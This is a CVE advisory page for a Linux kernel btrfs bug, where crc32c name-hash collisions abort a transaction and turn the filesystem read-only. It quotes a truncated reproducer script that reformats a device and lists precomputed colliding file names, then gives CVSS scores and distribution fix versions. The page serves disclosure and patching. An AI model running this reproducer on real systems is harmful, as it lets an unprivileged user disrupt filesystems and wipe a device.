CVE-2026-43360

EUVD-2026-28666
In the Linux kernel, the following vulnerability has been resolved:

btrfs: fix transaction abort on file creation due to name hash collision

If we attempt to create several files with names that result in the same
hash, we have to pack them in same dir item and that has a limit inherent
to the leaf size. However if we reach that limit, we trigger a transaction
abort and turns the filesystem into RO mode. This allows for a malicious
user to disrupt a system, without the need to have administration
privileges/capabilities.

Reproducer:

  $ cat exploit-hash-collisions.sh
  #!/bin/bash

  DEV=/dev/sdi
  MNT=/mnt/sdi

  # Use smallest node size to make the test faster and require fewer file
  # names that result in hash collision.
  mkfs.btrfs -f --nodesize 4K $DEV
  mount $DEV $MNT

  # List of names that result in the same crc32c hash for btrfs.
  declare -a names=(
   'foobar'
   '%a8tYkxfGMLWRGr55QSeQc4PBNH9PCLIvR6jZnkDtUUru1t@RouaUe_L:@xGkbO3nCwvLNYeK9vhE628gss:T$yZjZ5l-Nbd6CbC$M=hqE-ujhJICXyIxBvYrIU9-TDC'
   'AQci3EUB%shMsg-N%frgU:02ByLs=IPJU0OpgiWit5nexSyxZDncY6WB:=zKZuk5Zy0DD$Ua78%MelgBuMqaHGyKsJUFf9s=UW80PcJmKctb46KveLSiUtNmqrMiL9-Y0I_l5Fnam04CGIg=8@U:Z'
   'CvVqJpJzueKcuA$wqwePfyu7VxuWNN3ho$p0zi2H8QFYK$7YlEqOhhb%:hHgjhIjW5vnqWHKNP4'
   'ET:vk@rFU4tsvMB0$C_p=xQHaYZjvoF%-BTc%wkFW8yaDAPcCYoR%x$FH5O:'
   'HwTon%v7SGSP4FE08jBwwiu5aot2CFKXHTeEAa@38fUcNGOWvE@Mz6WBeDH_VooaZ6AgsXPkVGwy9l@@ZbNXabUU9csiWrrOp0MWUdfi$EZ3w9GkIqtz7I_eOsByOkBOO'
   'Ij%2VlFGXSuPvxJGf5UWy6O@1svxGha%b@=%wjkq:CIgE6u7eJOjmQY5qTtxE2Rjbis9@us'
   'KBkjG5%9R8K9sOG8UTnAYjxLNAvBmvV5vz3IiZaPmKuLYO03-6asI9lJ_j4@6Xo$KZicaLWJ3Pv8XEwVeUPMwbHYWwbx0pYvNlGMO9F:ZhHAwyctnGy%_eujl%WPd4U2BI7qooOSr85J-C2V$LfY'
   'NcRfDfuUQ2=zP8K3CCF5dFcpfiOm6mwenShsAb_F%n6GAGC7fT2JFFn:c35X-3aYwoq7jNX5$ZJ6hI3wnZs$7KgGi7wjulffhHNUxAT0fRRLF39vJ@NvaEMxsMO'
   'Oj42AQAEzRoTxa5OuSKIr=A_lwGMy132v4g3Pdq1GvUG9874YseIFQ6QU'
   'Ono7avN5GjC:_6dBJ_'
   'WHmN2gnmaN-9dVDy4aWo:yNGFzz8qsJyJhWEWcud7$QzN2D9R0efIWWEdu5kwWr73NZm4=@CoCDxrrZnRITr-kGtU_cfW2:%2_am'
   'WiFnuTEhAG9FEC6zopQmj-A-$LDQ0T3WULz%ox3UZAPybSV6v1Z$b4L_XBi4M4BMBtJZpz93r9xafpB77r:lbwvitWRyo$odnAUYlYMmU4RvgnNd--e=I5hiEjGLETTtaScWlQp8mYsBovZwM2k'
   'XKyH=OsOAF3p%uziGF_ZVr$ivrvhVgD@1u%5RtrV-gl_vqAwHkK@x7YwlxX3qT6WKKQ%PR56NrUBU2dOAOAdzr2=5nJuKPM-T-$ZpQfCL7phxQbUcb:BZOTPaFExc-qK-gDRCDW2'
   'd3uUR6OFEwZr%ns1XH_@tbxA@cCPmbBRLdyh7p6V45H$P2$F%w0RqrD3M0g8aGvWpoTFMiBdOTJXjD:JF7=h9a_43xBywYAP%r$SPZi%zDg%ql-KvkdUCtF9OLaQlxmd'
   'ePTpbnit%hyNm@WELlpKzNZYOzOTf8EQ$sEfkMy1VOfIUu3coyvIr13-Y7Sv5v-Ivax2Go_GQRFMU1b3362nktT9WOJf3SpT%z8sZmM3gvYQBDgmKI%%RM-G7hyrhgYflOw%z::ZRcv5O:lDCFm'
   'evqk743Y@dvZAiG5J05L_ROFV@$2%rVWJ2%3nxV72-W7$e$-SK3tuSHA2mBt$qloC5jwNx33GmQUjD%akhBPu=VJ5g$xhlZiaFtTrjeeM5x7dt4cHpX0cZkmfImndYzGmvwQG:$euFYmXn$_2rA9mKZ'
   'gkgUtnihWXsZQTEkrMAWIxir09k3t7jk_IK25t1:cy1XWN0GGqC%FrySdcmU7M8MuPO_ppkLw3=Dfr0UuBAL4%GFk2$Ma10V1jDRGJje%Xx9EV2ERaWKtjpwiZwh0gCSJsj5UL7CR8RtW5opCVFKGGy8Cky'
   'hNgsG_8lNRik3PvphqPm0yEH3P%%fYG:kQLY=6O-61Wa6nrV_WVGR6TLB09vHOv%g4VQRP8Gzx7VXUY1qvZyS'
   'isA7JVzN12xCxVPJZ_qoLm-pTBuhjjHMvV7o=F:EaClfYNyFGlsfw-Kf%uxdqW-kwk1sPl2vhbjyHU1A6$hz'
   'kiJ_fgcdZFDiOptjgH5PN9-PSyLO4fbk_:u5_2tz35lV_iXiJ6cx7pwjTtKy-XGaQ5IefmpJ4N_ZqGsqCsKuqOOBgf9LkUdffHet@Wu'
   'lvwtxyhE9:%Q3UxeHiViUyNzJsy:fm38pg_b6s25JvdhOAT=1s0$pG25x=LZ2rlHTszj=gN6M4zHZYr_qrB49i=pA--@WqWLIuX7o1S_SfS@2FSiUZN'
   'rC24cw3UBDZ=5qJBUMs9e$=S4Y94ni%Z8639vnrGp=0Hv4z3dNFL0fBLmQ40=EYIY:Z=SLc@QLMSt2zsss2ZXrP7j4='
   'uwGl2s-fFrf@GqS=DQqq2I0LJSsOmM%xzTjS:lzXguE3wChdMoHYtLRKPvfaPOZF2fER@j53evbKa7R%A7r4%YEkD=kicJe@SFiGtXHbKe4gCgPAYbnVn'
   'UG37U6KKua2bgc:IHzRs7BnB6FD:2Mt5Cc5NdlsW%$1tyvnfz7S27FvNkroXwAW:mBZLA1@qa9WnDbHCDmQmfPMC9z-Eq6QT0jhhPpqyymaD:R02ghwYo%yx7SAaaq-:x33LYpei$5g8DMl3C'
   'y2vjek0FE1PDJC0qpfnN:x8k2wCFZ9xiUF2ege=JnP98R%wxjKkdfEiLWvQzmnW'
   '8-HCSgH5B%K7P8_jaVtQhBXpBk:pE-$P7ts58U0J@iR9YZntMPl7j$s62yAJO@_9eanFPS54b=UTw$94C-t=HLxT8n6o9P=QnIxq-f1=Ne2dvhe6WbjEQtc'
   'YPPh:IFt2mtR6XWSmjHptXL_hbSYu8bMw-JP8@PNyaFkdNFsk$M=xfL6LDKCDM-mSyGA_2MBwZ8Dr4=R1D%7-mC
---truncated---
ProviderTypeBase ScoreAtk. VectorAtk. ComplexityPriv. RequiredVector
NISTPrimary
5.5 MEDIUM
LOCAL
LOW
LOW
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Base Score
CVSS 3.x
EPSS Score
Percentile: 5%
Affected Products (NVD)
VendorProductVersion
linuxlinux_kernel
5.19 ≤
𝑥
< 6.1.167
linuxlinux_kernel
6.2 ≤
𝑥
< 6.6.130
linuxlinux_kernel
6.7 ≤
𝑥
< 6.12.78
linuxlinux_kernel
6.13 ≤
𝑥
< 6.18.19
linuxlinux_kernel
6.19 ≤
𝑥
< 6.19.9
linuxlinux_kernel
7.0:rc1
linuxlinux_kernel
7.0:rc2
linuxlinux_kernel
7.0:rc3
𝑥
= Vulnerable software versions
Debian logo
Debian Releases
Debian Product
Codename
linux
bookworm
6.1.170-3
fixed
bookworm (security)
6.1.174-1
fixed
bullseye
5.10.223-1
fixed
bullseye (security)
5.10.257-1
fixed
forky
7.0.12-2
fixed
sid
7.0.13-1
fixed
trixie
6.12.86-1
fixed
trixie (security)
6.12.94-1
fixed
openSUSE logo
openSUSE / SLES Releases
openSUSE Product
Release
kernel-64kb
suse enterprise desktop 15 SP7
6.4.0-150700.53.60.1
fixed
suse enterprise sap 15 SP7
6.4.0-150700.53.60.1
fixed
suse enterprise server 15 SP7
6.4.0-150700.53.60.1
fixed
kernel-default
suse enterprise desktop 15 SP7
6.4.0-150700.53.60.1
fixed
suse enterprise sap 15 SP7
6.4.0-150700.53.60.1
fixed
suse enterprise server 15 SP7
6.4.0-150700.53.60.1
fixed
kernel-default-base
suse enterprise desktop 15 SP7
6.4.0-150700.53.60.1.150700.17.35.4
fixed
suse enterprise sap 15 SP7
6.4.0-150700.53.60.1.150700.17.35.4
fixed
suse enterprise server 15 SP7
6.4.0-150700.53.60.1.150700.17.35.4
fixed
kernel-obs-build
suse enterprise desktop 15 SP7
6.4.0-150700.53.60.2
fixed
suse enterprise sap 15 SP7
6.4.0-150700.53.60.2
fixed
suse enterprise server 15 SP7
6.4.0-150700.53.60.2
fixed
kernel-source
suse enterprise desktop 15 SP7
6.4.0-150700.53.60.1
fixed
suse enterprise sap 15 SP7
6.4.0-150700.53.60.1
fixed
suse enterprise server 15 SP7
6.4.0-150700.53.60.1
fixed
kernel-zfcpdump
suse enterprise desktop 15 SP7
6.4.0-150700.53.60.1
fixed
suse enterprise sap 15 SP7
6.4.0-150700.53.60.1
fixed
suse enterprise server 15 SP7
6.4.0-150700.53.60.1
fixed
Amazon Linux logo
Amazon Linux Releases
Amazon Package
Release
bpftool
Amazon Linux 2023
1:6.1.168-202.320.amzn2023
fixed
bpftool-debuginfo
Amazon Linux 2023
1:6.1.168-202.320.amzn2023
fixed
bpftool6.12
Amazon Linux 2023
1:6.12.79-101.147.amzn2023
fixed
bpftool6.12-debuginfo
Amazon Linux 2023
1:6.12.79-101.147.amzn2023
fixed
bpftool6.18
Amazon Linux 2023
1:6.18.20-20.229.amzn2023
fixed
bpftool6.18-debuginfo
Amazon Linux 2023
1:6.18.20-20.229.amzn2023
fixed
kernel
Amazon Linux 2023
1:6.1.168-202.320.amzn2023
fixed
kernel-debuginfo
Amazon Linux 2023
1:6.1.168-202.320.amzn2023
fixed
kernel-debuginfo-common-aarch64
Amazon Linux 2023
1:6.1.168-202.320.amzn2023
fixed
kernel-debuginfo-common-x86_64
Amazon Linux 2023
1:6.1.168-202.320.amzn2023
fixed
kernel-devel
Amazon Linux 2023
1:6.1.168-202.320.amzn2023
fixed
kernel-headers
Amazon Linux 2023
1:6.1.168-202.320.amzn2023
fixed
kernel-libbpf
Amazon Linux 2023
1:6.1.168-202.320.amzn2023
fixed
kernel-libbpf-debuginfo
Amazon Linux 2023
1:6.1.168-202.320.amzn2023
fixed
kernel-libbpf-devel
Amazon Linux 2023
1:6.1.168-202.320.amzn2023
fixed
kernel-libbpf-static
Amazon Linux 2023
1:6.1.168-202.320.amzn2023
fixed
kernel-livepatch-6.1.168-202.320
Amazon Linux 2023
1:1.0-0.amzn2023
fixed
kernel-livepatch-6.12.79-101.147
Amazon Linux 2023
1:1.0-0.amzn2023
fixed
kernel-livepatch-6.18.20-20.229
Amazon Linux 2023
1:1.0-0.amzn2023
fixed
kernel-modules-extra
Amazon Linux 2023
1:6.1.168-202.320.amzn2023
fixed
kernel-modules-extra-common
Amazon Linux 2023
1:6.1.168-202.320.amzn2023
fixed
kernel-tools
Amazon Linux 2023
1:6.1.168-202.320.amzn2023
fixed
kernel-tools-debuginfo
Amazon Linux 2023
1:6.1.168-202.320.amzn2023
fixed
kernel-tools-devel
Amazon Linux 2023
1:6.1.168-202.320.amzn2023
fixed
kernel6.12
Amazon Linux 2023
1:6.12.79-101.147.amzn2023
fixed
kernel6.12-debuginfo
Amazon Linux 2023
1:6.12.79-101.147.amzn2023
fixed
kernel6.12-debuginfo-common-aarch64
Amazon Linux 2023
1:6.12.79-101.147.amzn2023
fixed
kernel6.12-debuginfo-common-x86_64
Amazon Linux 2023
1:6.12.79-101.147.amzn2023
fixed
kernel6.12-devel
Amazon Linux 2023
1:6.12.79-101.147.amzn2023
fixed
kernel6.12-headers
Amazon Linux 2023
1:6.12.79-101.147.amzn2023
fixed
kernel6.12-libbpf
Amazon Linux 2023
1:6.12.79-101.147.amzn2023
fixed
kernel6.12-libbpf-debuginfo
Amazon Linux 2023
1:6.12.79-101.147.amzn2023
fixed
kernel6.12-libbpf-devel
Amazon Linux 2023
1:6.12.79-101.147.amzn2023
fixed
kernel6.12-libbpf-static
Amazon Linux 2023
1:6.12.79-101.147.amzn2023
fixed
kernel6.12-modules-extra
Amazon Linux 2023
1:6.12.79-101.147.amzn2023
fixed
kernel6.12-modules-extra-common
Amazon Linux 2023
1:6.12.79-101.147.amzn2023
fixed
kernel6.12-tools
Amazon Linux 2023
1:6.12.79-101.147.amzn2023
fixed
kernel6.12-tools-debuginfo
Amazon Linux 2023
1:6.12.79-101.147.amzn2023
fixed
kernel6.12-tools-devel
Amazon Linux 2023
1:6.12.79-101.147.amzn2023
fixed
kernel6.18
Amazon Linux 2023
1:6.18.20-20.229.amzn2023
fixed
kernel6.18-debuginfo
Amazon Linux 2023
1:6.18.20-20.229.amzn2023
fixed
kernel6.18-debuginfo-common-aarch64
Amazon Linux 2023
1:6.18.20-20.229.amzn2023
fixed
kernel6.18-debuginfo-common-x86_64
Amazon Linux 2023
1:6.18.20-20.229.amzn2023
fixed
kernel6.18-devel
Amazon Linux 2023
1:6.18.20-20.229.amzn2023
fixed
kernel6.18-headers
Amazon Linux 2023
1:6.18.20-20.229.amzn2023
fixed
kernel6.18-libbpf
Amazon Linux 2023
1:6.18.20-20.229.amzn2023
fixed
kernel6.18-libbpf-debuginfo
Amazon Linux 2023
1:6.18.20-20.229.amzn2023
fixed
kernel6.18-libbpf-devel
Amazon Linux 2023
1:6.18.20-20.229.amzn2023
fixed
kernel6.18-libbpf-static
Amazon Linux 2023
1:6.18.20-20.229.amzn2023
fixed
kernel6.18-modules-extra
Amazon Linux 2023
1:6.18.20-20.229.amzn2023
fixed
kernel6.18-modules-extra-common
Amazon Linux 2023
1:6.18.20-20.229.amzn2023
fixed
kernel6.18-tools
Amazon Linux 2023
1:6.18.20-20.229.amzn2023
fixed
kernel6.18-tools-debuginfo
Amazon Linux 2023
1:6.18.20-20.229.amzn2023
fixed
kernel6.18-tools-devel
Amazon Linux 2023
1:6.18.20-20.229.amzn2023
fixed
perf
Amazon Linux 2023
1:6.1.168-202.320.amzn2023
fixed
perf-debuginfo
Amazon Linux 2023
1:6.1.168-202.320.amzn2023
fixed
perf6.12
Amazon Linux 2023
1:6.12.79-101.147.amzn2023
fixed
perf6.12-debuginfo
Amazon Linux 2023
1:6.12.79-101.147.amzn2023
fixed
perf6.18
Amazon Linux 2023
1:6.18.20-20.229.amzn2023
fixed
perf6.18-debuginfo
Amazon Linux 2023
1:6.18.20-20.229.amzn2023
fixed
python3-perf
Amazon Linux 2023
1:6.1.168-202.320.amzn2023
fixed
python3-perf-debuginfo
Amazon Linux 2023
1:6.1.168-202.320.amzn2023
fixed
python3-perf6.12
Amazon Linux 2023
1:6.12.79-101.147.amzn2023
fixed
python3-perf6.12-debuginfo
Amazon Linux 2023
1:6.12.79-101.147.amzn2023
fixed
python3-perf6.18
Amazon Linux 2023
1:6.18.20-20.229.amzn2023
fixed
python3-perf6.18-debuginfo
Amazon Linux 2023
1:6.18.20-20.229.amzn2023
fixed